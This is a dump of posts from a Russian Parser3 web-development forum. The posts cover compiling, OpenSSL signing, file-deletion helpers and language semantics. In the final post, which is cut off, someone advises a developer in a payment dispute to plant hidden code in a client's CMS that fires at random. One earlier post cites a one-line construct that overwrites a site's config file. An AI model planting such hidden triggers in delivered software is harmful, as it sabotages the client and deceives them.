"57825","Уважаемые. Долго искал подобный форум (древообразный), для своего сайта на Narodе. Где можно найти на него скрипт, если это возможно? Где можно разместить? Подскажите пожалуйста, заранее благодарен, Эдуард"
"57826","Из#бался с этим parser'ом ! Скомпилировал из исходников парсер для freebsd 5.4 и при запуске parser-test (в примерах с сайта) он выдает unknown untaint language #717. Что можно сделать в этом случае?!"
"57828","Пересобираю под i386 ... надеюсь поможет"
"57829","./parser3: file not specified\
Parser/3.2.1sp2 (compiled on i386-pc-none)\
Copyright(c) 2001-2005 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Результат тот же - unknown untaint language #55 | unknown untaint language #729 в тестах\
\
У кого имеется сборка под FreeBSD 5.4 для AMD64 ?!"
"57830","А названия что означают?\
\
op.p -> O, Parser ? :)\
node.p -> ну тут еще понятно - расширение XML\
doc.p -> тоже XML?\
\
erusage -> extented resourse usage?\
\
кстати, на название файликов и их размещение есть какие стандарты? :)\
\
Будут ли изменения в auth/SQL?"
"57831","Ушли мы с freeBSD 5.x/6.x на RHEL, и копии собранного парсера не осталось.\
Не было больше сил напильником и кувалдой на новое железо устанавливать. Остался на только на трех серваках, плюс еще у админа живет пара стариных на 4-ке.\
\
xBSD очень хорошая система, но очень сложно жить без драйверов и нормального мониторинга."
"57832","названия еще окончательно не определены. предложения рассматриваются (длинные слова можно не предлагать).\
\
op - от operators (но ход ваших мыслей мне понравился, я в эту сторону не думал)\
node, doc - от xnode и xdoc соотв.\
erusage - [url=\"/examples/erusage/\"]так и есть[/url]\
\
auth уже давно в стадии переписывания, будет переделан кардинально, текущая реинкарнация не будет переделываться на работу с новыми вариантами \"операторов\".\
\
.*sql - будут доработаны (будут обращения не к операторам run_time и trim, а к методам статических классов) + будут добавлены некоторые фичи автокеширования (они уже добавлены)\
\
но старые варианты _моих_классов_ в любом случае останутся работоспособными в случае подключения lib_comp.p"
"57835","Работает в 3-х основных браузерах, IE, Mozilla, Opera (остальные не проверял).\
\
Имеет только базовый функционал: жирный, наклонный, подчёркнутый; выровнять по левому краю, по центру, по правому, по ширине.\
\
[url=\"http://www.spearance.ru/parser3/wysiwyg/source/\"]Посмотреть[/url]."
"57836","сцылко битое"
"57839","Создаете таблицу issue (section, chapter - как хотите) и заносите туда все главы, пронумерованные по порядку (поле no), с привязкой к book_id.\
\
В таблице book добавляете поле contents, куда записываете содержание книги в приведённом выше виде. Затем пропускаете его через xslt, используя тэг issue для формирования ссылки:\
\
/books/dozor/issue1/"
"57840","Я понимаю, что этот диагноз пока практически не излечим, но что можете посоветовать?"
"57843","однако есть пример, описывающий как на парсере несложно реализовать вывод древовидных структур.\
\
кроме этого поиском по форуму находятся ссылки на исходники аналогичных форумов, сделанных на парсере (я правда не знаю, живые ли ещё эти ссылки)."
"57844","метод очень удобный, я бы не стал его удалять. У себя я его не много изменил на\
[code]@image[lparams][img;params]\
$params[^hash::create[$lparams]]\
^if(def $params.file && -f $params.file){\
	$img[^image::measure[$params.file]]\
	^if(def $params.width){\
		$params.height($img.height/($img.width/$params.width))\
	}{\
		^if(def $params.height){\
			$params.width($img.width/($img.height/$params.height))\
		}\
	}\
	$params.width(^params.width.int($img.width))\
	$params.height(^params.height.int($img.height))\
	$result[<img src=\"$img.src\"^params.foreach[param;value]{^if($param ne \"file\"){ $param=\"$value\"}} />]\
}{\
	$result[]\
}[/code]\
одной строкой можно вывести картинку, без всяких лишних проверок в коде - результат - чистота  порядок. Тоже самое касается и метода ^href[]. Вместе эти методы сокращают немалый порядок строк. Юзаю эти методы везде."
"57845","Скачиваете исходники - разбираетесь, форум включают обе CMS"
"57846","более того я и сам использую похожий подход в imp1.\
\
при удалении объекта удаляются все его файлы, но я все таки оперирую не каталогом как достаточно низкоуровневой сущностью. я получаю список файлов отдельным методом getObjectFiles, потом делаю menu по списку, получаю полный путь каждого файла отдельным методом getObjectFilePath и лишь затем удаляю файл. \
\
как видите в моем случае схема хранения файлов может быть произвольной: файлы могут быть зарегистрированны в БД, а могут и не быть, как в текущей реализации, и для изменения способа их хранения мне нужно изменить лишь 2 упомянутых выше метода.\
\
если бы я так жестко приявязался бы к способу хранения файлов то операции удаления/перемещения я мог бы выполнять существенно быстрее с помощью move каталога и рекурсивного удаления каталога. но я имел бы больше сложностей если бы захотел изменить идеологию хранения файлов (а такое на некоторых проектах было).\
\
возвращаясь к dirDelete: я не очень хочу делать этот достаточно опасный инструмент столь легко доступным. при этом я понимаю, что есть другие достаточно компактные и небезопасные конструкции, которыми можно сделать много бед (например: $s[z]^s.save[/auto.p]). поэтому подумаю (а может надо сразу из op выносить методы-помошники в отдельный класс для работы с файлами?)"
"57847","Кто нидь прикручивал к сабжу парсер?\
Чтобы функции показывались.....\
и переменные..."
"57849","вот мой код в lib.p\
\
[code]\
###########################################################################\
# delete directory $sDir\
# with $.is_recursive(1) - will delete all subdirectories\
@dir_delete[sDir;hParam][tFileList]\
^try{\
	$tFileList[^file:list[$sDir]]\
	^tFileList.menu{\
		^if($hParam.is_recursive && -d \"$sDir/$tFileList.name\"){\
			^dir_delete[$sDir/$tFileList.name;$hParam]\
		}\
		^if(-f \"$sDir/$tFileList.name\"){\
			^file:delete[$sDir/$tFileList.name]\
		}\
	}\
}{\
	$exception.handled(1)\
}\
#end @dir_delete[]\
[/code]"
"57850","Change to x32 bit processor !"
"57851","P.S. считаю что в вашем коде нужно try написать не вокруг всего, а вокруг ^file:delete[]. ваша текущая реализация на первом-же обломе остановится, предлагаемая - удалит все что возможно."
"57852","Даже не знаю с чего начать.\
\
Короче, кто работал с OpenSSL, тот с процессом знаком. Формируется набор данных, и подписывается своим личным ключем. Далее данные и подпись пересылаются на сервер, там используя копию моего ключа сервер проверяет, чтобы данные были именно от меня, чтобы никто их не попортил.\
\
Так вот. Собираю я данные в цеочку, подписываю внешним экзешником openssl.exe - результат - бинарная строка. Кодирую строку в base64, и посылаю на сервер. Проблема в том, что подпись валидная 3 раза на 10 попыток - 7 раз подпись не валидидтся. Думал проблема на серваке, куда я посылаю данные - позвонил - сказали, что работают больше 2 лет - и все у них работает отлично.\
Начал искать проблему у себя. Подписываю данные и тут же их проверяю своим же ключем. И что вы думаете? Проблема таки у меня! Думал, может это экзешник глючит. Написал тривиальный батник - прогнал экзешник - 23 попытки - все валидные. И вот ту я задумался.\
\
Кодировка сайта utf8. Результат подписывания - бинарная строка. Я ее кодирую в base64, потом передаю обратно Парсеру, раскодирую в бинари - и экзешником проверяю. Вот где-то на одном из этих этапов лежат грабли. У кого какие мысли? Может ли проблема быть в base64? Или что нить с utf8 не клеится?\
\
Пробовал кодировать Перлом - результат тот же. Т.е. Парсер кодит все нормально. МДумал, может при выводе в браузер Парсер преобразовывает спец-символы - пробовал таинтить/антаинтить во всех вариациях - результат тот же.\
\
Можете потестить - [url=\"http://qha.com.ua/_test.html\"]http://qha.com.ua/_test.html[/url]"
"57855","Да это обычный древовидный форум - таких в любом каталоге скриптов полно)\
Ну вот например неплохой: http://www.woweb.ru/load/56-1-0-3737"
"57856","[code]@main[]\
^if(def $form:check){\
	^if(^dataSigned[$.data[$form:data]$.signature[$form:signature]]){\
		Signed\
	}{\
		Not signed\
	}\
}\
$sData[^math:uuid[]]\
<form method=\"post\">\
<input type=\"hidden\" name=\"data\" value=\"$sData\">\
<input type=\"hidden\" name=\"signature\" value=\"^signData[$sData]\">\
<input type=\"submit\" name=\"check\" value=\"Check\">\
</form>\
$form:data\
<pre>\
	$form:signature\
</pre>\
\
################################################\
@signData[sData][sDataName;hResult]\
$sDataName[^math:uuid[]-qhadata-$global.user.id]\
^sData.save[/data/temp/$sDataName]\
$hResult[^file::exec[/cgi-bin/openssl/openssl.exe dgst -binary -sha1 -sign ${env:DOCUMENT_ROOT}/data/openssl/6911226.pem ${env:DOCUMENT_ROOT}/data/temp/$sDataName]]\
$result[^hResult.text.base64[]]\
^if(-f \"/data/temp/$sDataName\"){\
	^file:delete[/data/temp/$sDataName]\
}\
# end of @signData[]\
\
################################################\
@dataSigned[hData][sDataName;sSignName;hResult;fSignature]\
$result(0)\
$sDataName[^math:uuid[]-upcdata-$global.user.id]\
$sSignName[^math:uuid[]-upcsign-$global.user.id]\
$fSignature[^file::base64[$hData.signature]]\
^hData.data.save[/data/temp/$sDataName]\
^fSignature.save[binary;/data/temp/$sSignName]\
$hResult[^file::exec[/cgi-bin/openssl/openssl.exe dgst -sha1 -prverify ${env:DOCUMENT_ROOT}/data/openssl/6911226.pem -signature ${env:DOCUMENT_ROOT}/data/temp/$sSignName ${env:DOCUMENT_ROOT}/data/temp/$sDataName]]\
^if(^hResult.text.match[Verified OK]){\
	$result(1)\
}\
^if(-f \"/data/temp/$sDataName\"){\
	^file:delete[/data/temp/$sDataName]\
}\
^if(-f \"/data/temp/$sSignName\"){\
	^file:delete[/data/temp/$sSignName]\
}\
# end of @dataSigned[][/code]"
"57857","в lib.p я всегда добавляю 2 метода вышеприведенный dir_delete и еще один:\
[code]\
###########################################################################\
@getStrToHash[sStr]\
^process{^$hTemp[^^hash::create[$sStr]]}\
$result[$hTemp]\
$hTemp[]\
#end @getStrToHash[sString]\
[/code]\
\
но необходимость этого под вопросом для большинства, а dir_delete по моему как минимум нелишний.\
\
PS: Можно и воокруг ^file:delete :)"
"57859","что это такое (посмотрите в документацию, на *nix подобное не работает точно):\
[code]/cgi-bin/openssl/openssl.exe dgst -binary -sha1 -sign...[/code]\
\
а ошибка тут:\
[code]\
$result[^hResult.text.base64[]]\
[/code]\
\
.text - TEXT, никаких двоичных данных. на ближайшем символе с кодом '0' строка заканчивается.\
\
варианты:\
0. попробуйте сделать ^hResult.base64[] (меня смутило ваше hResult, это не hResult, а fResult)\
1. запускать не openssl.exe, а какой-нить .bat, который подпишет _и_ заенкодит строку и вернет уже готовую строку\
2. запустить openssl.exe но заставить его вернуть например путь к файлу. далее сделать ^file::load[birary;] и его уже .base64"
"57860","опять меня выручили ;)\
\
Действительно, помог вариант №2.\
\
Я записываю результат подписи в файл, потом гружу его парсером и кодирую в бейс64 - жму вот сижу - уже 51 проверка - все валидные)."
"57863","...не хотелось бы, чтобы написание движка сайта было сравнимо по сложности с запуском ракеты на луну. Хотя, никто и не говорил, что будет просто :-)\
\
Насчет отдельного класса для работы с файлами -- полностью согласен. Если принято решение работать с файловой системой -- подключил класс и работаешь полноценно.\
\
И еще: мы сейчас наблюдаем перемещение полезных методов из пользовательских классов в такую базовую штуку, как lib.p :-)  А произойдет ли когда-нибудь перемещение всяких полезностей в Парсер? Например, использовать сторонний класс для работы с датой как-то... не очень удобно, что ли... А вот для работы с SQL это совершенно нормально. Так мне кажется."
"57864","Можно ли сделать так, чтобы методы из Function List попадали в список auto-complete всех открытых документов?"
"57865","Functions\
Variables\
итд"
"57866","описываемое слишком невероятно."
"57867","[code]\
$file[^file::exec[...]]\
$result[^file.base64[]]\
[/code]"
"57868","и в доке ничего про них нет. Если кто знает, как получить список переменных, буду очень признателен.\
\
Хотя сомневаюсь, что в УЕ это есть."
"57869","Скомпилировали [b]parser3.cgi[/b] под 64-х битную платформу. Протестировали Парсер без SQL - работает. Результат выполнения ^eval(1+1) => 2 :)\
\
С подключением библиотеки [b]libparser3mysql.so[/b] начались проблемы. Прошу разработчиков помочь решить проблему.\
\
[b]/cgi-bin/parser3.log[/b]\
\
[code][Fri Dec 29 10:11:32 2006] [6371] /test.html: /home/[cutted]/public_html/test.html(3:2): './lib/libparser3mysql.so' ./lib/libparser3mysql.so: cannot open shared object file: No such file or directory [<no type>][/code]\
\
[b]/cgi-bin/auto.p[/b]\
\
[code]@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.iso-8859-1[$charsetsdir/windows-1251.cfg]\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
...\
\
$SQL.connect-string[mysql://[cutted]:[cutted]@localhost/[cutted]]\
\
...[/code]\
\
[b]/test.html[/b]\
\
[code]Hi!\
^eval(1+1)\
^connect[$SQL.connect-string]{\
	$users[^table::sql{select * from nvdc_users}]\
}\
^table.menu{\
	$users.nickname\
}[<br>][/code]\
\
[b][url=\"http://nvdc.biz/test.html\"]http://nvdc.biz/test.html[/url][/b]\
\
P.S. [url=\"http://nvdc.biz/ny.htm\"]С наступающим Новым Годом и Рождеством Христовым![/url]"
"57871","Пути проверены."
"57872","Знаю, что это сакс, ламерство, и мою проблему нужно было учитывать вначале создания сайта, но, увы.\
\
Проблема вот в чем.\
Есть сайт. До нынешнего времени заголовок страницы (<title>) был статическим - на всех страницах сайта. Это глупо и неудобно - но заказчика устраивало, и мне меньше гемороя.\
\
Теперь, ему кто-то сказал, что при сохранении страниц из браузера, они все сохраняются с одним и тем же названием (соответственно). И заказчик говорит, что типа, хорошо бы было иметь свое название под каждую страничку.\
\
Перелопатить весь сайт и прописать везде уникальный тайтл - работы на долгие часы, и неспортивно. Собирать тайтл на постпроцессе - не знаю, оправданы ли затраты. У кого какие идеи? Посоветуйте..."
"57873","А если серьезно решений великое множество, нужно подробнее знать структуру вашего сайта, как создаются страницы, какая иерархия и тп. имхо."
"57874","брать из базы объектов.\
[code]\
<title>Сайт гогольмогольной компании \"ЙоксельМоксель\" стр. $page_id</title>\
[/code]\
Если к примеру ещё и скроллер на странице есть, то: стр. 1, пункт 2\
\
Но это такой забавный бред :)\
\
Можно ещё к примеру к тайтлу название новости прибавлять, если сайт новостной."
"57875","но ведь тайтл формируется после того, как мы сделали вычисления, и если есть, достали заголовок новости, или раздела, или региона.\
\
Пока собираю тайтл в теле сайта, и постпроцессом вставляю его куда нужно.\
\
В идеале же, как я понимаю, тайтл должен быть известен на момент его вывода в ответ. Но такое в моем случае невозможно."
"57877","я бы писал так:\
<title>название/дату заметки/новости - раздел - имя сайта</title>\
(как-то такое было, остановились на такоем варианте, хоть дает понять на какой раздел ссылку сохранили)"
"57879","Желаю Удачных проектов, счастья, здоровья, адекватных заказчиков, оптимальных алгоритмов, любви и денег.\
ВСЕМ.\
ушел в оффлайн до следующего года."
"57880","Пусть наш \"оргазм, растянутый во времени\" продлится ещё на один год! Также призываю всех в Новом году обновить юзерпики. Ура!"
"57881","Ибо нех 64"
"57882","А результат был такова, что i386 собирался при указывании ./configure i386 , собирался при помощи g++, что было единственным у хостега что захотелось собраться под x32. Результат все равно тот же unknown untaight message #такой-то!"
"57883","Щастья, здоровья и творческих успехов ! В огромных количествах!"
"57884","в виде консольного приложения под windows, freebsd и linux:\
http://company.yandex.ru/blog/index.xml?&msg=100264&month=12"
"57885","Как не мутил, у второго элемента не отображается панель инструментов. Подскажи, пожалуйста, что нужно исправить?"
"57886","Как обычно ламацкий вопрос. \
\
Делаю поиск по каталогу. Передаю через поисковую форму GETом скрипту строку, например \"Rolsen C1470T\", соответственно, получается url \"../search.html?text=Rolsen+C1470T\"\
\
Беру $reqest:query (?text=Rolsen+C1470T), отсекаю \"?text=\", получается \"Rolsen+C1470T\"...\
\
Так вот как мне преобразовать \"Rolsen+C1470T\" обратно в \"Rolsen C1470T\", чтобы потом его сравнивать со значениями в БД? Заменять плюсы пробелами? Тогда подскажите как?\
\
На другое пока что меня не хватает..."
"57889","Вот ё-моё! Я ж пробовал так! У меня оказывается в текстовом поле нэйм другой был прописан, спасибо, ато я тут уже целый класс написал, пока ждал вашего ответа. По извращенски, но все таки работает. =)\
\
Спасибо!"
"57890","вы уверены, этот ключик даст правильный результат?\
я нет.\
я в своём configure ничего на эту тему не предусматривал и вполне могу ваш ключик благополучно игнорировать."
"57892","про то, что 32bit parser3.cgi несовместим в 64bit libmysqlclient.so я уже отвечал."
"57895","тяну с удаленного HTTP ленту новостей RSS, при подключении на своем сайте для вывода в нормальном html виде требует таблицу XSL (я с XML, XSL незнаком) пробовал по примерам в доке что нить соорудить, споткнулся на [code]<link>http://www.all.kharkov.ua/news?rss=1</link>[/code] в примере совершенно не так. \
Плз, подскажите где найти доку на русском с примерами, чтоб было понятно. \
\
а вообще не понимаю для чего отдавать XML если на него нжно писать самому XSL, видимо я чего-то не знаю и не понимаю. Может эти XSL уже где-то есть? подскажите плз.\
P.S.\
пожалуйста не посылайте в английскую доку."
"57896","http://www.raleigh.ru/wiki/\
\
http://xml.nsu.ru/xsl/xsl_home.xml"
"57897","Компанию и форумчан с Новым Годом!\
\
Реализовал ли кто-нибудь шифрование в парсере (что-нибудь из DES, AES, Triple-DES)? \
\
В частности интересуют: \
^encode[text;key]\
^decode[text;key]\
^fileEncode[srcfile;outfile;key]\
^fileDecode[srcfile;outfile;key]\
\
Если нет готовых решений, может кто-нибудь помочь с реализацией?"
"57898","Смотрю на голосование. Не уверен, что все голосуют с размышлением. Возможно кто-то не хочет что-то менять, поэтому и выбирают \"как есть\".\
Я думаю что \"def\" должна реально означает \"defined\", т.е. если переменная является определенной (не зависимо от того, что в ней).\
\
[b]1. int/string[/b]\
[code]\
$iTest(0)\
\
^if(def $iTest){\
	defined\
}{\
	undefined\
}\
# результат: \"defined\"\
[/code]\
[code]\
$sTest[test]\
\
^if(def $sTest){\
	defined\
}{\
	undefined\
}\
# результат: \"defined\"\
[/code]\
\
[b]2. table[/b]\
[code]\
$tTest[^table::create[]]\
\
^if(def $tTest){\
	defined\
}{\
	undefined\
}\
# результат: \"defined\"\
\
^if($tTest){\
	filled\
}{\
	empty\
}\
# результат: \"empty\"\
\
$tTest2[^table::create{name\
Me\
Alex\
}]\
\
^if(def $tTest2){\
	defined\
}{\
	undefined\
}\
# результат: \"defined\"\
\
^if($tTest2){\
	filled\
}{\
	empty\
}\
# результат: \"filled\"\
[/code]\
\
[b]3. bool[/b]\
[code]\
$bTest(true)\
\
^if(def $bTest){\
	defined\
}{\
	undefined\
}\
# результат: \"defined\"\
\
^if($bTest){\
	true\
}{\
	false\
}\
# результат: \"true\"\
\
$bTest2(false)\
\
^if(def $bTest2){\
	defined\
}{\
	undefine\
}\
# результат: \"defined\"\
\
^if($bTest2){\
	true\
}{\
	false\
}\
# результат: \"false\"\
[/code]\
\
[b]4. hash[/b]\
[code]\
$hTest[^hash::create[]]\
\
^if(def $hTest){\
	defined\
}{\
	undefined\
}\
# результат: \"defined\"\
\
^if($hTest){\
	filled\
}{\
	empty\
}\
# результат: \"empty\"\
\
$hTest2[\
	$.my_name[me]\
	$.her_name[Alex]\
]\
\
^if(def $hTest2){\
	defined\
}{\
	undefine\
}\
# результат: \"defined\"\
\
^if($hTest2){\
	filled\
}{\
	empty\
}\
# результат: \"filled\"\
\
$hTest3[\
	$.name[]\
]\
\
^if(def $hTest2){\
	defined\
}{\
	undefined\
}\
# результат: \"defined\"\
\
^if($hTest3){\
	filled\
}{\
	empty\
}\
# результат: \"empty\"\
[/code]\
\
Кто и что думает по этому поводу? Мне кажется никто в обиде не будет, т.к. получается, что будут реализованы все возможности."
"57899","готовые решения скорее всего есть, и нужно лишь ^file::exec[их]\
\
писать подобное на парсере считаю бессмысленным занятием."
"57900","желаю удачи. она принесет вам счастья и денег, остальное купите себе сами %-)"
"57901","- вариант \"как есть\" постоянно меняется. так что если бы выбирали его, то распределение ответов было-бы иным (хотя в голосовалке ест баг, из-за этоо некоторые проголосовали несколько раз, поправлю - удалю дубликаты)\
\
- мне тоже нравится предлагаемый вариант (ну... почти... т.к. я считаю что вы не правы по поводу string и $hTest3. в первом случае считаю что def $sText не должен быть true в случае $sText[]. по поводу $hTest3: там _есть_ элемент, который достается с помощью foreach например, и не определено именно его значение, а не хеш). однако есть \"небольшой\" ньюанс в виде обратной совместимости существующего кода. разговор только о bool велся потому, что тип bool появился недавно, и его изменение не привело бы к необходимости править кучу кода. кроме того лично меня такое поведение не напрягает (я просто знаю у какого объекта как действует def, хотя для новичков это вероятно выглядит очень непоследовательным). в принципе можно подумать над добавлением нового подобного аналогичного операнда, действующего описанным выше образом: ^if(init $sVar){}, ^if(declared $sVar){}, ^if(exist $sVar){}, ^if($sVar is \"declared\"){}, ..."
"57902","у автора было:\
[code]\
$hResult[^file::exec[...]]\
$result[^hResult.text.base64[]]\
[/code]\
\
я и предлагал сделать: ^hResult.base64[] вместо ^hResult.text.base64[] (почему он написал hResult для меня  загадка, т.к. ответ - file, т.е. по моей логике должно было быть fResult). у него почему-то не работает, надо будет мне попробовать подобное на своем decompres."
"57903","вы замелили бы, что предлагается не переход на 32 битную платформу, а компиляция парсера в 32 битном режиме (большинство 64 битных платформ имеют режим обратной совместимости), а про sql драйвера вы нашли бы информацию о несовместимости приложений скомпилированных в 32 битном режиме и 64-х битных драйверов, также вы нашли бы предложенный вариант: взять аналогичные 32-битные драйвера, которые работали бы в режиме совместимости."
"57904","большую кучу... добра!"
"57905","Apache_Swissknife ребята ВЫ молодцы!\
Не как жеребцы, а как пюди с IQ\
мне 59, начинал ГАИРИ, ИСКРА 1250\
Был пользователем. XLS? World и ещё многое и многое знаю\
Apacha & ракент парили почти 3 месяца.\
получилось! 200 метров.\
А  ВЫ       Красавцы!"
"57906","но [url=\"http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm\"]TEA[/url], там алгоритм попроще, хотя тоже ничего такой, вроде не поломали еще :)\
кстати, его и native можно было бы встроить, там всего алгоритма десять строчек...\
\
А на Парсере получается ~семь килобайт кода, большая часть из которых это методы, преобразующие \"бинарные\" данные в/из BASE64. На больших объемах данных заметно подтормаживает. BASE64 нужен по той причине, что Парсер [url=\"http://www.parser.ru/forum/?id=38798\"]не работает с бинарными строками[/url]. Это самые большие грабли, на которые обязательно наступите, если решите реализовывать что либо подобное. Могут встретиться и грабельки поменьше - [url=\"http://www.parser.ru/forum/?id=49447\"]раз[/url], [url=\"http://www.parser.ru/forum/?id=49503\"]два[/url], например. А в остальном все просто. Но лучше было бы найти какой нибудь быстрый внешний скрипт, и вызывать его через exec, как советует Миша."
"57907","А как им отделить корень? Я так понимаю он приводит слово из разных словоформ к исходному, но окончание по-прежнему надо отделять самому?"
"57908","...то отнимем! (с) Менты :)"
"57910","[quot]считаю что def $sText не должен быть true в случае $sText[][/quot]\
Также и считаю и считал, просто не написал в примере, т.к. думал, что будет всем понятно.\
[code]\
$sTest[test]\
\
^if(def $sTest){\
	defined\
}\
# результат: \"defined\"\
\
$sTest[]\
\
^if(def $sTest){\
	undefined\
}\
# результат: \"undefined\"\
[/code]\
Я считаю, что конструкция типа [b]$VARIABLE[][/b]должна быть исключением, т.е. не привязывать значение null, а очищать переменную.\
\
Насчет $hTest3 думаю Вы правы. Может тогда реально задуматься о новом операнде? Мне в каких-то случаях было бы удобно.\
\
\
Еще возникла идея по bool. Почему бы не добавить метод \"bool\" для класса string?\
Т.е. я бы хотел чтобы было так:\
[code]\
$sTest[xxx]\
\
$bTest(^sTest.bool(false))\
# содержание: \"false\"\
\
$bTest2(^sTest.bool(true))\
# содержание: \"true\"\
\
\
$sTest2[true]\
\
$bTest3(^sTest2.bool(false))\
# содержание: \"true\"\
\
\
$iTest(1)\
\
$bTest4(^iTest.bool(false))\
# содержание: \"true\"\
\
$bTest5(^iTest.bool(true))\
# содержание: \"false\"\
[/code]"
"57911","Однако без знания Javascript не обойтись. Бог в помощь :)"
"57913","Мое мнение, что конструкция\
[code]$VARIABLE[][/code]\
должна не просто очищать переменную, а удалять ее из памяти.\
Это и не испортит старых кодов и мусор удалять будет.\
а метод bool для класса string вообще считаю безсмысленным.\
Метода int вполне достаточно.\
\
Желающие могут написать себе любые методы сами. А засорять документацию огромной кучей простых методов считаю неуважением к языку."
"57914","Я сам когда то вляпывался в такое говно. С тех пох закодировался рассуждать: \"Раз заказчику не надо, сделаем по простому.\"\
Если я правильно понял, у тебя много файлов в папках, в которых тебя смущает мертвая строка типа \
[code]<title>Хороший, но всегда одинаковый заголовок</title>[/code]\
Если так, то все до банальности просто.\
Парсер спасает сам себя. Делаешь в корне сайта файлик.\
В него пишешь рекурсию пробега по всем папкам сайта (рекурсию можно сделать из метода копирования директорий в примерах в lib.p), загружаешь файл как текст, и методом [code]^string.replace[][/code] заменяешь свой заголовок на заголовок, в котором код прописан.\
Но мой личный совет, вообще сотри все, что написано в этих файлах и помести туда, куда потом не будет лень слазить и поменять что-нить."
"57915","Спасибо, что разрешили.\
Что понимается под обратной совместимостью?"
"57916","Такой вообще в природе существует?\
В архиве с драйверами для MySQL, который предлагается для скачивания лежит только библиотека драйвера libparser3mysql.so."
"57917","Если, конечно он уже не стоит на сервере. Оптимально просто спросить у админа путь к библиотеке - возможно она лежит не по штатному пути."
"57918","Жаль только админ нашего хостинга появляется на связь раз в неделю, ато и в месяц...\
\
Есть ли смысл искать такую библиотеку в интернете? Или она собирается индивидуально под разные хостинги и проще дождаться админа?"
"57919","Парсер установлен как cgi модуль к апачу. В .htaccesse указан путь к скрипту. Все страницы сервера обрабатываются через парсер.\
Как сделать чтобы одна дириктория не обрабатывалась через него?"
"57920","- воспользоваться поиском по форуму\
- почитать документацию по apache\
\
P.S. тред закрыт."
"57921","Реализация любого шифрования на парсере - бессмысленно. Тут я с Мишей согласен и такая идея изначально отпала. Вызов скрипта имеет право на жизнь но, увы, задача диктует другие правила. Нужны методы на C, о чем, в частности, и хотелось бы узнать. Исходников нашел много, но попытки внедрить их в класс оказались тщетными. Не знаю я С и прыжки с бубном вокруг типов, также риск отгрести утечки памяти и другие ошибки (в процессе использования), не радуют."
"57922","найти исходники и добавить их в парсер, порой достаточно просто (я не знаю С, неспешно прочитал пол книжки и уже добавляю кое какие мелочи в парсер). \
\
однако возникает вопрос целесообразности добавлять некототые фичи. то же шифрование за все время работы с парсером (это уже > 4 лет) мне потребовалось 1 (один) раз. при этом в моей задаче позже выяснилось что это шифрование нужно для обмена мужду двумя серверами в одной стойке на территории клиента... дело в том что при разработке механизма взаимодействия сторона, которая высказала необходимость шифровать данные, не знала об этом ньюансе. очевидно что потом про шифрование речи больше не шло.\
\
допустим появляется задача, в которой шифрование действительно нужно. но какое именно? их немерянно. более того если рассмотреть задачу то скорее всего выяснится, что эта задача очень узкая в применении к вебу. более актуальна встроенная работа с https, который обеспечивает шифрование транспорта, и именно такой вариант скорее всего будет востребован в парсере. однако тут уже не все так просто в реализации.\
\
если рассматривать примерение задач шифрования, то почти все они касаются взаимодействия с внешними рессурсами по медленному (и незащищенному) каналу. т.е. по сравнению со временем, затраченным на передачу данных после шифрования (перед дешифрованием) время затраченное на запуск внешней программы в общем виде достаточно мало (я не могу придумать задачу где в течении одной cgi сессии потребуется выполнить десяток процессов шифрования)."
"57923","www.freebsd.org -> ссылка ports -> запускаем поиск по слову \"mysql\" -> находим пункт \"mysql-client-4.0.27\" (есть ещё и старый \"mysql-client-3.23.59\" и новые \"mysql-client-5.0.27\" и \"mysql-client-5.1.14\"), щёлкаем по ссылке \"package\":\
\
ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-6-stable/All/mysql-client-4.0.27.tbz\
\
скачанный файл открываем WinRAR'ом. В папочке /lib/mysql/ лежит файл libmysqlclient.so.12 - [url=\"http://www.parser.ru/forum/?id=49916\"]вроде[/url], тот, что нужно."
"57925","Согласен, шифрование зависит от задачи. Постараюсь описать поставленную. Перед новым годом я столкнулся с ситуацией, когда после установки CMS на сайт, заказчик отказывается оплачивать работу аргументируя тем что они не могут тестировать ПО, проблемы со связью, недостатком времени и всячески оттягивая момент оплаты. Причем требуя, чтобы их сайт был работоспособен. В связи с этим есть риск, что расчет может не произойти, а сопроводительных документов, регулирующих отношение между клиентом и заказчиком увы нет. На это были причины и к сожалению люди. \
\
Возникла идея шифрования некоторого кода и обязательного утверждения лицензионного соглашения, регулирующего наши отношения в соответствии с законом и дающее гарантии защиты авторства моего ПО и тех-поддержки от меня. После подтверждения лицензии исходники бы дешифровались и на этом этапе функция сошла бы на нет. \
\
Не спорю, можно прикрутить задачу на внешний скрипт, но native реализация была бы более скрытой и более защищенной. По крайне мере ломать было бы дороже.\
\
Возможно и не стоит заморачиваться, и через пару дней конфликт рассосется, но прецендент не радует. В дальнейшем не исключены рецедивы и заказчик может быть в другом городе.\
\
Может есть другие идеи."
"57927","Вот что выдает мне парсер:\
\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
Это происходит в результате попытки загрузить таблицу из файла.\
Вот код:\
$tab[^table::load[/menu.cfg]]\
\
Поиск по поводу это проблемы показал что необходимо файл сохранять в UTF-8, так и сделал (пользуюсь блокнотом). [b]Результат не изменился![/b]\
\
Попробовал через:\
$tab[^table::create{uri        name        cls\
/admin/news/	Новости	c01\
/admin/services/	Услуги	c01}\
]\
\
[b]Реакция такая же![/b]\
\
При этом в log-файле пишется следующее:\
auto.p(72:20): 'uri' column not found [parser.runtime]\
\
Жду советов, заранее благодарен!"
"57929","вариант — внедрить в исходники небольшой кусочек кода, который при определенных обстоятельствах, например\
[code]^if(^math:random(1000) == 666){ ... }[/code]\
